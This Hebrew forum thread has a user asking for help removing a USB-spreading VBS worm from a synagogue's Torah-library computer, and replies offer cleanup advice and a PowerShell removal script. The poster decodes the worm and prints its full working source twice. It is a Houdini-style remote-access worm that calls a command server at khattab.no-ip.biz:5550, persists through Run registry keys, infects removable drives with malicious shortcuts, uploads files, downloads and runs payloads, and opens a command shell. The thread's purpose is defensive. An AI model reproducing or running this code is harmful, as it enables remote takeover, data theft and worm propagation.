            המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

            או לכבות vbs דרך הריג'יסטרי.

            מתכנת חובבמ תגובה 1 תגובה אחרונה
            1
            • cfopuserC cfopuser

              @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

              המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

              או לכבות vbs דרך הריג'יסטרי.

              מתכנת חובבמ מנותק
              מתכנת חובבמ מנותק
              מתכנת חובב
              מדריכים
              כתב נערך לאחרונה על ידי
              #10

              @cfopuser בשביל מה?
              אם יש אנטי וירוס נורמלי וזה לא מחשב שיושבים עליו נתונים פרטיים לא צריך ללכת רחוק כל כך

              צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

              cfopuserC תגובה 1 תגובה אחרונה
              0
              • מתכנת חובבמ מתכנת חובב

                @cfopuser בשביל מה?
                אם יש אנטי וירוס נורמלי וזה לא מחשב שיושבים עליו נתונים פרטיים לא צריך ללכת רחוק כל כך

                cfopuserC מנותק
                cfopuserC מנותק
                cfopuser
                כתב נערך לאחרונה על ידי
                #11

                @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                @cfopuser בשביל מה?

                לחסום הדבקות פעם נוספת, האנטי וירוס לא הועיל כפי שכבר הוכח.

                מתכנת חובבמ תגובה 1 תגובה אחרונה
                0
                • ר רנדומלי

                  בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                  cmd /c hrxxryydxo.vbs && start explorer [file name]
                  

                  הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                  לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                  תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                  לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                  z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                  

                  בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                  לאחר פיענוח הקידוד התקבל הקוד הבא:
                  אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                  e
                  '<[ recoder : houdini (c) skype : houdini-fx ]>
                  
                  '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                  
                  host = "khattab.no-ip.biz"
                  port = 5550
                  installdir = "%temp%"
                  lnkfile = true
                  lnkfolder = true
                  
                  '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                  
                  dim shellobj 
                  set shellobj = wscript.createobject("wscript.shell")
                  dim filesystemobj
                  set filesystemobj = createobject("scripting.filesystemobject")
                  dim httpobj
                  set httpobj = createobject("msxml2.xmlhttp")
                  
                  '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                  
                  installname = wscript.scriptname
                  startup = shellobj.specialfolders ("startup") & "\"
                  installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                  if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                  spliter = "<" & "|" & ">"
                  sleep = 5000 
                  dim response
                  dim cmd
                  dim param
                  info = ""
                  usbspreading = ""
                  startdate = ""
                  dim oneonce
                  
                  '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                  on error resume next
                  
                  instance
                  while true
                  
                  install
                  
                  response = ""
                  response = post ("is-ready","")
                  cmd = split (response,spliter)
                  select case cmd (0)
                  case "excecute"
                        param = cmd (1)
                        execute param
                  case "update"
                        param = cmd (1)
                        oneonce.close
                        set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                        oneonce.write param
                        oneonce.close
                        shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                        wscript.quit 
                  case "uninstall"
                        uninstall
                  case "send"
                        download cmd (1),cmd (2)
                  case "site-send"
                        sitedownloader cmd (1),cmd (2)
                  case "recv"
                        param = cmd (1)
                        upload (param)
                  case  "enum-driver"
                        post "is-enum-driver",enumdriver  
                  case  "enum-faf"
                        param = cmd (1)
                        post "is-enum-faf",enumfaf (param)
                  case  "enum-process"
                        post "is-enum-process",enumprocess   
                  case  "cmd-shell"
                        param = cmd (1)
                        post "is-cmd-shell",cmdshell (param)  
                  case  "delete"
                        param = cmd (1)
                        deletefaf (param) 
                  case  "exit-process"
                        param = cmd (1)
                        exitprocess (param) 
                  case  "sleep"
                        param = cmd (1)
                        sleep = eval (param)        
                  end select
                  
                  wscript.sleep sleep
                  
                  wend
                  
                  sub install
                  on error resume next
                  dim lnkobj
                  dim filename
                  dim foldername
                  dim fileicon
                  dim foldericon
                  
                  upstart
                  for each drive in filesystemobj.drives
                  
                  if  drive.isready = true then
                  if  drive.freespace  > 0 then
                  if  drive.drivetype  = 1 then
                      filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                      if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                          filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                      end if
                      for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                          if not lnkfile then exit for
                          if  instr (file.name,".") then
                              if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                  file.attributes = 2+4
                                  if  ucase (file.name) <> ucase (installname) then
                                      filename = split(file.name,".")
                                      set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                      lnkobj.windowstyle = 7
                                      lnkobj.targetpath = "cmd.exe"
                                      lnkobj.workingdirectory = ""
                                      lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                      fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                      if  instr (fileicon,",") = 0 then
                                          lnkobj.iconlocation = file.path
                                      else 
                                          lnkobj.iconlocation = fileicon
                                      end if
                                      lnkobj.save()
                                  end if
                              end if
                          end if
                      next
                      for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                          if not lnkfolder then exit for
                          folder.attributes = 2+4
                          foldername = folder.name
                          set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                          lnkobj.windowstyle = 7
                          lnkobj.targetpath = "cmd.exe"
                          lnkobj.workingdirectory = ""
                          lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                          foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                          if  instr (foldericon,",") = 0 then
                              lnkobj.iconlocation = folder.path
                          else 
                              lnkobj.iconlocation = foldericon
                          end if
                          lnkobj.save()
                      next
                  end If
                  end If
                  end if
                  next
                  err.clear
                  end sub
                  
                  sub uninstall
                  on error resume next
                  dim filename
                  dim foldername
                  
                  shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                  shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                  filesystemobj.deletefile startup & installname ,true
                  filesystemobj.deletefile wscript.scriptfullname ,true
                  
                  for  each drive in filesystemobj.drives
                  if  drive.isready = true then
                  if  drive.freespace  > 0 then
                  if  drive.drivetype  = 1 then
                      for  each file in filesystemobj.getfolder ( drive.path & "\").files
                           on error resume next
                           if  instr (file.name,".") then
                               if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                   file.attributes = 0
                                   if  ucase (file.name) <> ucase (installname) then
                                       filename = split(file.name,".")
                                       filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                   else
                                       filesystemobj.deletefile (drive.path & "\" & file.name)
                                   end If
                               else
                                   filesystemobj.deletefile (file.path) 
                               end if
                           end if
                       next
                       for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                           folder.attributes = 0
                       next
                  end if
                  end if
                  end if
                  next
                  wscript.quit
                  end sub
                  
                  function post (cmd ,param)
                  
                  post = param
                  httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                  httpobj.setrequestheader "user-agent:",information
                  httpobj.send param
                  post = httpobj.responsetext
                  end function
                  
                  function information
                  on error resume next
                  if  inf = "" then
                      inf = hwid & spliter 
                      inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                      inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                  
                      set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                      set os = root.execquery ("select * from win32_operatingsystem")
                      for each osinfo in os
                         inf = inf & osinfo.caption & spliter  
                         exit for
                      next
                      inf = inf & "plus" & spliter
                      inf = inf & security & spliter
                      inf = inf & usbspreading
                      information = inf  
                  else
                      information = inf
                  end if
                  end function
                  
                  sub upstart ()
                  on error resume Next
                  
                  shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                  shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                  filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                  filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                  
                  end sub
                  
                  function hwid
                  on error resume next
                  
                  set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                  set disks = root.execquery ("select * from win32_logicaldisk")
                  for each disk in disks
                      if  disk.volumeserialnumber <> "" then
                          hwid = disk.volumeserialnumber
                          exit for
                      end if
                  next
                  end function
                  
                  function security 
                  on error resume next
                  
                  security = ""
                  
                  set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                  set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                  for each objitem in colitems
                      versionstr = split (objitem.version,".")
                  next
                  versionstr = split (colitems.version,".")
                  osversion = versionstr (0) & "."
                  for  x = 1 to ubound (versionstr)
                       osversion = osversion &  versionstr (i)
                  next
                  osversion = eval (osversion)
                  if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                  
                  set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                  Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                  
                  for each objantivirus in colantivirus
                      security  = security  & objantivirus.displayname & " ."
                  next
                  if security  = "" then security  = "nan-av"
                  end function
                  
                  function instance
                  on error resume next
                  
                  usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                  if usbspreading = "" then
                     if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                        usbspreading = "true - " & date
                        shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                     else
                        usbspreading = "false - " & date
                        shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                  
                     end if
                  end If
                  
                  
                  upstart
                  set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                  set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                  if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                      shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                      wscript.quit 
                  end If
                  err.clear
                  set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                  if  err.number > 0 then wscript.quit
                  end function
                  
                  sub sitedownloader (fileurl,filename)
                  
                  strlink = fileurl
                  strsaveto = installdir & filename
                  set objhttpdownload = createobject("msxml2.xmlhttp" )
                  objhttpdownload.open "get", strlink, false
                  objhttpdownload.send
                  
                  set objfsodownload = createobject ("scripting.filesystemobject")
                  if  objfsodownload.fileexists (strsaveto) then
                      objfsodownload.deletefile (strsaveto)
                  end if
                   
                  if objhttpdownload.status = 200 then
                     dim  objstreamdownload
                     set  objstreamdownload = createobject("adodb.stream")
                     with objstreamdownload
                          .type = 1 
                          .open
                          .write objhttpdownload.responsebody
                          .savetofile strsaveto
                          .close
                     end with
                     set objstreamdownload = nothing
                  end if
                  if objfsodownload.fileexists(strsaveto) then
                     shellobj.run objfsodownload.getfile (strsaveto).shortpath
                  end if 
                  end sub
                  
                  sub download (fileurl,filedir)
                  
                  if filedir = "" then 
                     filedir = installdir
                  end if
                  
                  strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                  set objhttpdownload = createobject("msxml2.xmlhttp")
                  objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                  objhttpdownload.send ""
                       
                  set objfsodownload = createobject ("scripting.filesystemobject")
                  if  objfsodownload.fileexists (strsaveto) then
                      objfsodownload.deletefile (strsaveto)
                  end if
                  if  objhttpdownload.status = 200 then
                      dim  objstreamdownload
                      set  objstreamdownload = createobject("adodb.stream")
                      with objstreamdownload 
                           .type = 1 
                           .open
                           .write objhttpdownload.responsebody
                           .savetofile strsaveto
                           .close
                      end with
                      set objstreamdownload  = nothing
                  end if
                  if objfsodownload.fileexists(strsaveto) then
                     shellobj.run objfsodownload.getfile (strsaveto).shortpath
                  end if 
                  end sub
                  
                  function upload (fileurl)
                  
                  dim  httpobj,objstreamuploade,buffer
                  set  objstreamuploade = createobject("adodb.stream")
                  with objstreamuploade 
                       .type = 1 
                       .open
                       .loadfromfile fileurl
                       buffer = .read
                       .close
                  end with
                  set objstreamdownload = nothing
                  set httpobj = createobject("msxml2.xmlhttp")
                  httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                  httpobj.send buffer
                  end function
                  
                  function enumdriver ()
                  
                  for  each drive in filesystemobj.drives
                  if   drive.isready = true then
                       enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                  end if
                  next
                  end Function
                  
                  function enumfaf (enumdir)
                  
                  enumfaf = enumdir & spliter
                  for  each folder in filesystemobj.getfolder (enumdir).subfolders
                       enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                  next
                  
                  for  each file in filesystemobj.getfolder (enumdir).files
                       enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                  
                  next
                  end function
                  
                  function enumprocess ()
                  
                  on error resume next
                  
                  set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                  set colitems = objwmiservice.execquery("select * from win32_process",,48)
                  
                  dim objitem
                  for each objitem in colitems
                      enumprocess = enumprocess & objitem.name & "|"
                      enumprocess = enumprocess & objitem.processid & "|"
                      enumprocess = enumprocess & objitem.executablepath & spliter
                  next
                  end function
                  
                  sub exitprocess (pid)
                  on error resume next
                  
                  shellobj.run "taskkill /F /T /PID " & pid,7,true
                  end sub
                  
                  sub deletefaf (url)
                  on error resume next
                  
                  filesystemobj.deletefile url
                  filesystemobj.deletefolder url
                  
                  end sub
                  
                  function cmdshell (cmd)
                  
                  dim httpobj,oexec,readallfromany
                  
                  set oexec = shellobj.exec ("%comspec% /c " & cmd)
                  if not oexec.stdout.atendofstream then
                     readallfromany = oexec.stdout.readall
                  elseif not oexec.stderr.atendofstream then
                     readallfromany = oexec.stderr.readall
                  else 
                     readallfromany = ""
                  end if
                  
                  cmdshell = readallfromany
                  end function
                  
                  מתכנת חובבמ מנותק
                  מתכנת חובבמ מנותק
                  מתכנת חובב
                  מדריכים
                  כתב נערך לאחרונה על ידי
                  #12

                  @רנדומלי בקשה פשוטה מג'מיני בצירף הקוד של הוירוס הניבה סקריפט PS שמטפל בזה

                  $vName = "hrxxryydxo"
                  $vFile = "$vName.vbs"
                  
                  Write-Host "--- מתחיל בניקוי המחשב ---" -ForegroundColor Cyan
                  
                  # 1. עצירת התהליך החי במחשב
                  Get-CimInstance Win32_Process -Filter "Name = 'wscript.exe'" | 
                      Where-Object CommandLine -match $vName | 
                      Invoke-CimMethod -MethodName Terminate | Out-Null
                  Write-Host "[+] תהליך הווירוס בזיכרון נעצר." -ForegroundColor Green
                  
                  # 2. עקירת שורשי ההפעלה מהרגיסטרי (Registry) במחשב
                  Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $vName -ErrorAction SilentlyContinue
                  Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $vName -ErrorAction SilentlyContinue
                  Remove-Item -Path "HKLM:\Software\$vName" -Recurse -ErrorAction SilentlyContinue
                  Write-Host "[+] ערכי הרישום וההפעלה האוטומטית נוקו." -ForegroundColor Green
                  
                  # 3. מחיקת הקבצים הפיזיים מהמחשב (מתיקיות Temp ו-Startup)
                  $tempDir = [System.IO.Path]::GetTempPath()
                  $startupDir = [Environment]::GetFolderPath('Startup')
                  Remove-Item -Path "$tempDir\$vFile" -Force -ErrorAction SilentlyContinue
                  Remove-Item -Path "$startupDir\$vFile" -Force -ErrorAction SilentlyContinue
                  Write-Host "[+] קבצי הווירוס נמחקו מהמחשב (Temp, Startup)." -ForegroundColor Green
                  
                  
                  Write-Host "--- מתחיל בסריקת כוננים חיצוניים ---" -ForegroundColor Cyan
                  
                  # 4. ניקוי כל הכוננים החיצוניים המחוברים ושחזור קבצים
                  $usbDrives = Get-CimInstance Win32_LogicalDisk -Filter "DriveType = 2"
                  
                  if ($usbDrives.Count -eq 0) {
                      Write-Host "[-] לא זוהו כונני USB מחוברים." -ForegroundColor Yellow
                  } else {
                      foreach ($drive in $usbDrives) {
                          $driveLetter = $drive.DeviceID + "\" 
                          Write-Host "סורק כונן $driveLetter..." -ForegroundColor Cyan
                  
                          # מחיקת קיצורי הדרך המזויפים וקובץ הווירוס מהכונן
                          Remove-Item -Path "$driveLetter*.lnk" -Force -ErrorAction SilentlyContinue
                          Remove-Item -Path "$driveLetter$vFile" -Force -ErrorAction SilentlyContinue
                  
                          # פעולת התיקון הלוגית: ביטול דגלי ההסתרה והמערכת
                          Get-ChildItem -Path $driveLetter -Force | ForEach-Object {
                              if (($_.Attributes -band [System.IO.FileAttributes]::Hidden) -or ($_.Attributes -band [System.IO.FileAttributes]::System)) {
                                  $_.Attributes = $_.Attributes -band -bnot [System.IO.FileAttributes]::Hidden
                                  $_.Attributes = $_.Attributes -band -bnot [System.IO.FileAttributes]::System
                              }
                          }
                          Write-Host "[+] כונן $driveLetter נוקה והקבצים המקוריים שוחזרו." -ForegroundColor Green
                      }
                  }
                  
                  Write-Host "--- הניקוי הושלם במלואו! ---" -ForegroundColor Green
                  

                  לשמור את זה עם הסיומת ps1 ולהריץ כמנהל

                  צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                  תגובה 1 תגובה אחרונה
                  0
                  • cfopuserC cfopuser

                    @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                    @cfopuser בשביל מה?

                    לחסום הדבקות פעם נוספת, האנטי וירוס לא הועיל כפי שכבר הוכח.

                    מתכנת חובבמ מנותק
                    מתכנת חובבמ מנותק
                    מתכנת חובב
                    מדריכים
                    כתב נערך לאחרונה על ידי מתכנת חובב
                    #13

                    @cfopuser הוא לא כתב איזה אנטי וירוס יש שם אבל אנטי וירוס נורמלי שמוגדר בצורה נורמלית ומחשב עם בקרת UAC נורמלית לא אמורים להידבק בוירוסים האלו
                    זה וירוס קל מאוד לזיהוי (אפשר לראות בקוד חתימה ברורה וכל מנוע יוריסטי יזהה את הפעילות שלו)
                    עריכה: אפילו בניתוח סטטי הוא מזוהה על ידי 47 מתוך 62 בוירוס טוטאל

                    צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                    תגובה 1 תגובה אחרונה
                    2
                    • ר רנדומלי

                      בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                      cmd /c hrxxryydxo.vbs && start explorer [file name]
                      

                      הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                      לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                      תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                      לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                      z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                      

                      בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                      לאחר פיענוח הקידוד התקבל הקוד הבא:
                      אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                      e
                      '<[ recoder : houdini (c) skype : houdini-fx ]>
                      
                      '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                      
                      host = "khattab.no-ip.biz"
                      port = 5550
                      installdir = "%temp%"
                      lnkfile = true
                      lnkfolder = true
                      
                      '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                      
                      dim shellobj 
                      set shellobj = wscript.createobject("wscript.shell")
                      dim filesystemobj
                      set filesystemobj = createobject("scripting.filesystemobject")
                      dim httpobj
                      set httpobj = createobject("msxml2.xmlhttp")
                      
                      '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                      
                      installname = wscript.scriptname
                      startup = shellobj.specialfolders ("startup") & "\"
                      installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                      if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                      spliter = "<" & "|" & ">"
                      sleep = 5000 
                      dim response
                      dim cmd
                      dim param
                      info = ""
                      usbspreading = ""
                      startdate = ""
                      dim oneonce
                      
                      '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                      on error resume next
                      
                      instance
                      while true
                      
                      install
                      
                      response = ""
                      response = post ("is-ready","")
                      cmd = split (response,spliter)
                      select case cmd (0)
                      case "excecute"
                            param = cmd (1)
                            execute param
                      case "update"
                            param = cmd (1)
                            oneonce.close
                            set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                            oneonce.write param
                            oneonce.close
                            shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                            wscript.quit 
                      case "uninstall"
                            uninstall
                      case "send"
                            download cmd (1),cmd (2)
                      case "site-send"
                            sitedownloader cmd (1),cmd (2)
                      case "recv"
                            param = cmd (1)
                            upload (param)
                      case  "enum-driver"
                            post "is-enum-driver",enumdriver  
                      case  "enum-faf"
                            param = cmd (1)
                            post "is-enum-faf",enumfaf (param)
                      case  "enum-process"
                            post "is-enum-process",enumprocess   
                      case  "cmd-shell"
                            param = cmd (1)
                            post "is-cmd-shell",cmdshell (param)  
                      case  "delete"
                            param = cmd (1)
                            deletefaf (param) 
                      case  "exit-process"
                            param = cmd (1)
                            exitprocess (param) 
                      case  "sleep"
                            param = cmd (1)
                            sleep = eval (param)        
                      end select
                      
                      wscript.sleep sleep
                      
                      wend
                      
                      sub install
                      on error resume next
                      dim lnkobj
                      dim filename
                      dim foldername
                      dim fileicon
                      dim foldericon
                      
                      upstart
                      for each drive in filesystemobj.drives
                      
                      if  drive.isready = true then
                      if  drive.freespace  > 0 then
                      if  drive.drivetype  = 1 then
                          filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                          if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                              filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                          end if
                          for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                              if not lnkfile then exit for
                              if  instr (file.name,".") then
                                  if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                      file.attributes = 2+4
                                      if  ucase (file.name) <> ucase (installname) then
                                          filename = split(file.name,".")
                                          set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                          lnkobj.windowstyle = 7
                                          lnkobj.targetpath = "cmd.exe"
                                          lnkobj.workingdirectory = ""
                                          lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                          fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                          if  instr (fileicon,",") = 0 then
                                              lnkobj.iconlocation = file.path
                                          else 
                                              lnkobj.iconlocation = fileicon
                                          end if
                                          lnkobj.save()
                                      end if
                                  end if
                              end if
                          next
                          for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                              if not lnkfolder then exit for
                              folder.attributes = 2+4
                              foldername = folder.name
                              set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                              lnkobj.windowstyle = 7
                              lnkobj.targetpath = "cmd.exe"
                              lnkobj.workingdirectory = ""
